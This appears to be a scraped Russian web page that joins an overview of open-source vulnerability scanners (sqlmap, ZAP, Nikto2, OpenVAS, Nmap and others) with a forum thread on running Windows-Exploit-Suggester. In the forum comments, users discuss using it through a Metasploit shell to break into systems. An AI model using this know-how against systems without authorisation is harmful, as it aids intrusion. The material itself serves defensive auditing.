OSV Scanner эффективно сканируют статическое программное обеспечение на предмет уязвимостей программного кода с открытым исходным кодом. Однако OSV, разработанный Google, берет информацию из базы данных Уязвимость в открытом исходном коде OSV.dev и работает во множестве различных экосистем.

Хотя OSV является новичком, он предоставляет более широкий спектр источников и уязвимостей и должен рассматриваться как замена или, по крайней мере, дополнительный инструмент сканирования с открытым исходным кодом для команд DevOps.

Ключевые особенности

  • Сканирует программное обеспечение для поиска зависимостей и уязвимостей, которые их затрагивают
  • Хранит информацию о затронутых версиях в JSON, машиночитаемом формате для интеграции с пакетами разработчика
  • Сканирует каталоги, спецификации программного обеспечения (SBOM), lockfiles, образы docker на базе Debian или программное обеспечение, запущенное в контейнерах Docker.

Плюсы

  • Извлекает уязвимости из огромного количества источников: Apine, Android, crates.io, Debian, Go, Linux, Maven, npm, NuGet, OSS-Fuzz, Packagist, PyPl, RubyGems и другие.
  • Показывает сжатые результаты, что сокращает время, необходимое для устранения.
  • Может игнорировать уязвимости по ID номеру.
  • Все еще находится в активной разработке Google, поэтому будут добавлены новые функции

Минусы

  • Находится в активной разработке, поэтому не хватает полных возможностей для интеграции рабочего процесса разработчика, уязвимостей C/C

sqlmap – Лучший для сканирования баз данных

Некоторые команды DevOp хотят просканировать внутреннюю базу данных, прежде чем использовтаь ее. sqlmap позволяет проводить сканирование уязвимостей баз данных и тестирование на проникновение на широком спектре баз данных.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Автоматически распознает и использует хэши паролей
  • Разработан на языке Python и может быть запущен на любой системе с интерпретатором python
  • Может напрямую подключаться к базе данных для тестирования через учетные данные СУБД, IP-адрес, порт и имя базы данных
  • Полная поддержка более 35 систем управления базами данных, включая MySQL, Oracle, Postgre SQL, Microsoft SQL Server, IBM DB2, Sybase, SAP MaxDB, Microsoft Access, Amazon Redshift, Apache Ignite и т. д.
  • Выполняет шесть типов техник SQL Injection: слепой на основе булевых функций, слепой на основе времени, на основе ошибок, на основе UNION-запросов, стекированных запросов и внеполосный.

Плюсы

  • Может выполнять взлом паролей
  • Может искать определенные имена баз данных и таблицы
  • Поддерживает выполнение произвольных команд и получение стандартных выводов

Минусы

  • Инструмент командной строки без графического интерфейса пользователя
  • Очень специализированный инструмент
  • Требует знаний в области баз данных для эффективного использования

Wapiti – лучший для тестирования SQLi

Wapiti выполняет сканирование веб-сайтов и приложений методом «черного ящика», не исследуя код. Вместо этого Wapiti использует методы fuzzing для внедрения полезной нагрузки в скрипты и проверки на общие уязвимости.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Поддерживает методы GET и POST HTTP для атак
  • Модули проверяют инъекции SQL (SQLi), инъекции XPath, межсайтовый скриптинг (XSS), раскрытие файлов, инъекции Xml eXternal Entity (XXE), перечисление папок и файлов и т.д.
  • Поддерживает HTTP, HTTPS и SOCKS5 прокси
  • Аутентификация через Basic, Digest, NTLM или GET/POST на формах входа
  • Сканирование может быть выполнено для доменов, папок, страниц и URL.

Плюсы

  • Проверяет широкий спектр потенциальных уязвимостей
  • Некоторые тесты показывают, что Wapiti обнаруживает больше уязвимостей SQLi и Blind SQLi, чем другие инструменты с открытым исходным кодом, такие как ZAP

Минусы

  • Инструмент командной строки без графического пользовательского интерфейса
  • Требует значительного опыта и знаний для использования

ZAP (OWASP Zed Attack Proxy) – лучший для XSS тестирования

OWASP’s Zed Attack Proxy., также доступный в Kali Linux, помещается между браузером тестировщика и веб-приложением, перехватывая запросы и действуя как «прокси». Эта техника позволяет ZAP тестировать приложения путем изменения содержимого, пересылки пакетов и других действий, имитирующих поведение пользователей и хакеров.

Ключевые особенности

  • Доступен для основных операционных систем и Docker
  • Доступны сканы, упакованные в Docker, для быстрого запуска
  • Доступна среда автоматизации
  • Доступен комплексный API
  • Доступно ручное и автоматизированное исследование

Плюсы

  • Активно поддерживается командами OWASP
  • Доступны графический интерфейс и интерфейс командной строки
  • Быстрое обучение и отличная документация
  • Удобен для различных уровней, от новичков до команд безопасности
  • Очень хорошо обнаруживает XSS-уязвимости
  • Может выполнять fuzzing-атаки
  • ZAP широко используется тестировщиками на проникновение, поэтому использование ZAP дает отличное представление о том, какие уязвимости могут найти случайные злоумышленники

Минусы

  • Требуются дополнительные плагины для некоторых функций
  • Требуется определенный опыт для использования
  • Как правило, дает больше ложных срабатываний, чем коммерческие продукты

Сканеры уязвимостей инфраструктуры с открытым исходным кодом

Специалисты по безопасности и ИТ впервые разработали сканеры уязвимостей для поиска отсутствующих патчей и неправильной конфигурации в традиционной сетевой инфраструктуре ИТ: серверах, брандмауэрах и сетевом оборудовании. С ростом сложности облачных вычислений, виртуальных машин и подключенных устройств инструменты сканирования уязвимостей стали более многочисленными и масштабными, чтобы идти в ногу со временем.

CloudSploit – лучший сканер облачных ресурсов

Aqua предоставила открытый ресурс основного механизма сканирования для своего CloudSploit, чтобы пользователи могли загружать, изменять и пользоваться преимуществами этого инструмента. Сканирование CloudSploit может выполняться по требованию или быть настроено на непрерывную работу и передачу предупреждений командам безопасности и DevOps.

Ключевые особенности

  • Использует RESTful интерфейс для API
  • API можно вызывать из командной строки, скриптов или систем сборки (Jenkins, CircleCL, AWS CodeBuild и т.д.).)
  • Контроль чтения/записи позволяет предоставлять каждому API-ключу определенные разрешения
  • Каждый вызов API отдельно отслеживается
  • Непрерывный аудит CIS Benchmark для AWS, Azure и Google Cloud
  • Непрерывное сканирование позволяет получать предупреждения об изменениях в облачной инфраструктуре, которые приводят к появлению уязвимостей, таких как изменение групп безопасности, новые доверенные ключи SSH, деактивация устройств MFA, удаление журналов и т.д.

Плюсы

  • Результаты в реальном времени
  • Безопасные подписи HMAC256 для аутентификации ключей API
  • Сканирование более 95 рисков безопасности за несколько секунд
  • Интуитивно понятный веб-интерфейс
  • Поддерживает рамки соответствия HIPAA и PCI (DSS)
  • Интегрируется для отправки предупреждений через Slack, Splunk, OpsGenie, Amazon SNS, электронную почту и многое другое.

Минусы

  • Недоступно через GitHub
  • Автоматическая рассылка обновлений, некоторые инструменты отчетности и некоторые интеграции могут быть доступны только в платном продукте (дополнительные функции не являются открытыми).

Firmwalker – лучший для сканирования IoT

Команды разработчиков разработали инструменты для сканирования прошивки и настроек сетевого оборудования и Интернета вещей (IoT). Однако большинство из них больше склоняются к инструментам безопасности, чем к сканерам уязвимостей. Однако Firmwalker может искать в извлеченной или смонтированной прошивке и сообщать о потенциальных уязвимостях.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Может искать файлы, связанные с SSl, и каталоги etc/ssl
  • Может искать файлы конфигурации, сценарии и pin
  • Может распознавать ключевые слова, такие как admin, password и remote, и сообщать о них.
  • Может искать URL, адреса электронной почты и IP-адреса

Плюсы

  • Выполняет аудит безопасности IoT, сетевого, OT и другого встроенного ПО
  • Может находить неожиданные файлы, встроенные пароли или скрытые URL
  • Доступен в виде bash-скрипта

Минусы

  • Требует некоторых навыков программирования для эффективного использования
  • Нет графического интерфейса
  • Поддержка Shodan API в настоящее время является экспериментальной

Nikto2 – лучший сканер веб-серверов

Nikto2 – это сканер веб-сервера с открытым исходным кодом, который может обнаружить опасные файлы и программы, а также неправильную конфигурацию сервера, которую могут использовать хакеры. Пользователи также могут получить доступ к Nikto в Kali Linux.

Основные возможности

  • Проверяет более 6700 потенциально опасных файлов и программ
  • Проверяет более 1250 устаревших версий серверов и 270 проблем, связанных с конкретными версиями
  • Проверяет наличие нескольких индексных файлов, опции HTTP-сервера
  • Проверяет установленные веб-серверы и программное обеспечение
  • Может выполнять угадывание учетных данных
  • Доступны методы для уменьшения количества ложных срабатываний
  • Выводит данные в форматы TST, XML, HTML, NBE или CSV

Плюсы

  • Небольшое и легкое программное обеспечение, но при этом мощное
  • Поддерживает файлы для ввода и вывода
  • Элементы сканирования и плагины часто обновляются, но обновляются автоматически
  • Обнаруживает и отмечает многие общие проблемы с веб-серверами
  • Поддержка SSL для Unix и Windows OS, поддержка HTTP прокси
  • Возможность развертывания методов кодирования для обхода и тестирования систем обнаружения вторжений

Минусы

  • Нет графического интерфейса, только управление через командную строку
  • Очень специфичен, что может запутать новичков
  • Поиск более ограничен, чем у некоторых коммерческих инструментов
  • Тщательное сканирование может занять более 45 минут

OpenSCAP – лучший для сканирования, ориентированный на соответствие нормативным требованиям

OpenSCAP – это фреймворк с открытым исходным кодом для платформы Linux, основанный на SCAP, поддерживаемый Национальным институтом стандартов и технологий США (NIST). Проект OpenSCAP создает инструменты с открытым исходным кодом для реализации и внедрения этого открытого стандарта, используемого для перечисления недостатков и неправильной конфигурации.

Сканер предоставляет обширный набор инструментов, поддерживающих сканирование веб-приложений, сетевой инфраструктуры, баз данных и хостов. В отличие от большинства сканеров, проверяющих общие уязвимости и уязвимости (CVE), OpenSCAP тестирует устройство на соответствие стандарту SCAP.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Ключевые особенности

  • Выполняет оценку уязвимостей в системах
  • Получает доступ к публичным базам данных уязвимостей
  • Инструмент OpenSCAP Base представляет собой сертифицированный NIST инструмент сканирования командной строки, для большей простоты использования доступен графический интерфейс пользователя (GUI)
  • Демон OpenSCAP Daemon может непрерывно сканировать инфраструктуру на соответствие политике SCAP
  • Другие Инструменты OpenSCAP обеспечивают сканирование рабочего стола, централизованные результаты сканирования или совместимые образы компьютеров
  • Интегрируется с решениями для управления системами, такими как Red Hat Satellite 6, RH Access Insights и другими
  • Опция Atomic Scan может сканировать контейнеры на наличие уязвимостей безопасности и соответствие требованиям.

Плюсы

  • Быстрая идентификация проблем безопасности и мгновенные корректирующие операции
  • Поддерживается Red Hat и другими поставщиками с открытым исходным кодом
  • Сочетает сканирование уязвимостей безопасности и соответствие нормативным требованиям
  • Может сканировать образы контейнеров docker

Минусы

  • Значительно сложнее в освоении, чем многие другие инструменты
  • Множество инструментов в системе OpenSCAP может запутать
  • Пользователи должны знать политику безопасности, которая соответствует их потребностям.
  • Многие инструменты работают только в Linux, а некоторые – только в определенных дистрибутивах Linux

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

OpenVAS – лучший для сканирования сетевых узлов и сетей в целом

Разработчики создали OpenVAS как многоцелевой сканер, используя последний доступный открытый код Nessus, который сейчас является ведущим на рынке коммерческим продуктом, выпускаемым компанией Tenable. OpenVAS поддерживает высокие возможности для проведения крупномасштабных оценок и тестов на уязвимость сети на традиционных конечных точках и сетях. Инструмент собирает сведения из огромного количества источников и обширной базы данных уязвимостей.

Ключевые особенности

  • Сканирует системы на наличие известных уязвимостей и отсутствующих патчей
  • Веб-консоль управления
  • Может быть установлена на любой локальной или облачной машине
  • Предоставляет информацию о каждой уязвимости, например, как устранить уязвимость или как злоумышленники могут использовать уязвимость

Плюсы

  • Активно поддерживается Greenbone
  • Охватывает множество CVE (распространенных уязвимостей и уязвимостей)
  • База данных сканирования обновляется регулярно
  • Большое сообщество для поддержки коллег
  • Организации, переросшие версию Community Edition, могут перейти на Greenbone Enterprise Appliance или Greenbone Cloud Service.

Минусы

  • Может быть непосильной для новичков и требует некоторого опыта
  • Большое количество одновременных сканирований может вывести программу из строя
  • Нет управления политиками
  • Greenbone Community Edition сканирует только основные конечные устройства или продукты домашних приложений, такие как Ubuntu Linux, MS Office и т.д.
  • Чтобы сканировать корпоративные продукты или получить доступ к политикам, организациям необходимо перейти на платную версию Greenbone Enterprise.

Nmap – лучший для сканирования сетей и портов

Nmap Security Scanner поддерживает бинарные пакеты для Windows, macOS и Linux и включен во многие сборки Linux. Nmap использует IP-пакеты для сканирования портов устройств и определения того, какие хосты, службы и операционные системы доступны с проверяемого ресурса. Специалисты по тестированию на проникновение и ИТ-команды ценят nmap как быстрый, эффективный и легкий инструмент для составления списка открытых портов системы.

10 лучших сканеров уязвимостей с открытым исходным кодом на 2023 год

Основные возможности

  • Обнаружение хостов быстро определяет IP-адреса, доступные в сети
  • Использует характеристики стека TCP/IP для определения операционных систем устройств
  • Растущая библиотека из 500 скриптов для расширенного обнаружения сети и оценки уязвимостей

Плюсы

  • Быстро сканирует открытые порты системы и определяет доступные TCP/UDP сервисы
  • Опрашивает порты для определения запущенных протоколов, приложений и номеров версий
  • Большая база пользователей и сообщество разработчиков

Минусы

  • Нет официальной поддержки клиентов
  • Требуется определенный опыт и знания в области ИТ для эффективного использования


Зарубин Иван


Эксперт по Linux и Windows

Парашютист со стажем. Много читаю и слушаю подкасты. Люблю посиделки у костра, песни под гитару и приближающиеся дедлайны. Люблю путешествовать.

Похожие статьи

MLNK

MLNK

Mod. Ethical Hacking


  • #1

1518637947298.png

Гутен Тах codeby,

Сегодня решил рассказать о том как можно проверить виндовс на наличие уязвимостей связанных с отсутствием обновлений.
Один из лучших способов обезопасить себя от взлома это поддерживать систему обновлённой и следить за появлением
новых уязвисмотей, а также за патчами которые их закрывают.

И так зверь с которого мы сегодня будем приручать это Windows-Exploit-Suggester .
Для её запуска нам понадобиться Python и дополнительный модуль xlrd установить его можно следующим образом.

Python:

pip install xlrd --upgrade

Суть утилы крайне простая, на основании файла системной информации(где его взять расскажу чуть позже) программа узнаёт состояние нашей системы: установленные патчи и прочее. После чего ищет по популярным ресурсам наличие эксплойтов
для этих патчей после чего отображает нам всё это в милом списке с ссылками на ресурсы с информацией.

Также эту утилу можно использовать в процессе проведения аудита безопасности чтобы проверить состояние системы.

Работа сводиться к 2 простым шагам.

Нам необходимо получить файл systeminfo.exe делается это крайне просто, запустите консоль от имени администратора и вбейте туда systeminfo.exe

1518635949478.png

полученную информацию копируем и сохраняем как txt файл называем как хотим. (только не забудьте куда его сохранили.)

После того как вы скачали утилу с Github. Распаковываем её и переходим ко второму шагу.

Открываем так же командную строку и прописываем следующее

Код:

C:\Users\ПутьДоФайла\windows-exploit-suggester.py --update

1518636965553.png

данная команда обновит библиотеку известных эксплойтов. По умолчанию файл Дата-mssb.xls сохранится в C:\Users\USERNAME
Далее запускаем проверку следующей командой:

Код:

C:\ПутьДоФайла\windows-exploit-suggester.py --database C:\ПутьДоФайла\2018-02-14-mssb.xls --systeminfo C:\ПутьДоФайла\systeminfo.txt

Чтобы не прописывать пути файлов их можно просто перетащить в окно командной строки.
В итоге у вас получиться что то вроде:

1518637612005.png

Жмакаем ENTER и ждём окончания работы утилы.
На выходе получите следующий листинг:

1518637768238.png

Далее смотрим изучаем.

Надеюсь статья была вам полезна, следите за своими системами и заботьтесь о них!

Vander


MLNK

MLNK

Mod. Ethical Hacking


  • #3

оу. ну я привёл в пример как это на винмашине сделать а не на кали ). если что можно снести тему.

monartoi


  • #4

Неплохо бы указать что не работает на питоне 3. =)

⚡️absolute❤evil⚡️


  • #5

На практике скрипт, описанный в обоих статьях — этой и этой — предоставляет возможность проверить систему, на которой установлен python версии 2.х Кроме того, для запуска скрипта, если не ошибаюсь, нужны права администратора.

Это какие-то бархатные и пушистые условия )) Такие условия делают скрипт практически бесполезным для злоумышленника.

Имеются ли скрипты, программы для сканирования системы на наличие уязвимостей извне ?

z3r0c10wn


  • #6

На практике скрипт, описанный в обоих статьях — этой и этой — предоставляет возможность проверить систему, на которой установлен python версии 2.х Кроме того, для запуска скрипта, если не ошибаюсь, нужны права администратора.

Это какие-то бархатные и пушистые условия )) Такие условия делают скрипт практически бесполезным для злоумышленника.

Имеются ли скрипты, программы для сканирования системы на наличие уязвимостей извне ?

Вы что то не то говорите. Поднимите сессию из под юзерского акка на мете и подрубите данный модуль. Он спокойно отсканит.

⚡️absolute❤evil⚡️


  • #7

Вы что то не то говорите. Поднимите сессию из под юзерского акка на мете и подрубите данный модуль. Он спокойно отсканит.

Хм. Да, видать я что-то не понял.
Прочитал статью повторно. ))

Всё-же хочу разобраться ))
В статье автор описывает, как отсканировать Windows на наличие уязвимостей, к которым имеются эксплойты.
Если это предположение верно, то продолжаю.
Для исполнения скрипта, скачать который можно с гитхаба, необходимо предварительно в windows установить интерпретатор языка python. Для установки нужны права админа !!!
Кроме того, для запуска скрипта, нужно быть внутри системы (являться её пользователем).
Если все мои предположения верны, то это и есть бархатные и пушистые условия ))

Вот какое ЭТО имеет отношение к инфомационной безопасности ?

:);):(

Это-ж не интересно ))
Как обнаружить наличие уязвимостей, находясь снаружи системы ?
Чтобы проникнуть вовнутрь )

z3r0c10wn


  • #8

Хм. Да, видать я что-то не понял.
Прочитал статью повторно. ))

Всё-же хочу разобраться ))
В статье автор описывает, как отсканировать Windows на наличие уязвимостей, к которым имеются эксплойты.
Если это предположение верно, то продолжаю.
Для исполнения скрипта, скачать который можно с гитхаба, необходимо предварительно в windows установить интерпретатор языка python. Для установки нужны права админа !!!
Кроме того, для запуска скрипта, нужно быть внутри системы (являться её пользователем).
Если все мои предположения верны, то это и есть бархатные и пушистые условия ))

Вот какое ЭТО имеет отношение к инфомационной безопасности ?

:);):(

Это-ж не интересно ))
Как обнаружить наличие уязвимостей, находясь снаружи системы ?
Чтобы проникнуть вовнутрь )

Модуль в мете(он уже там есть — модуль в метасплойт если вдруг сокращение не понял) не потребует от вас никаких действий с установкой на хосте. Единственное что вам нужно это shell в систему.

⚡️absolute❤evil⚡️


  • #9

Единственное что вам нужно это shell в систему.

Понял, спасибо.
Но в статье почему-то автор этот момент недоходчиво растолковал ))
Спасибо за инфу ещё раз ))

  • #10

Сни55мок.PNG

в чем проблема ?

  • Как найти службу обновления windows 10
  • Как найти файлы в карантине windows 10
  • Как найти удаленные файлы на компьютере windows 10 если нет корзины
  • Как накатить обновление windows 10 вручную
  • Как настроить apache для windows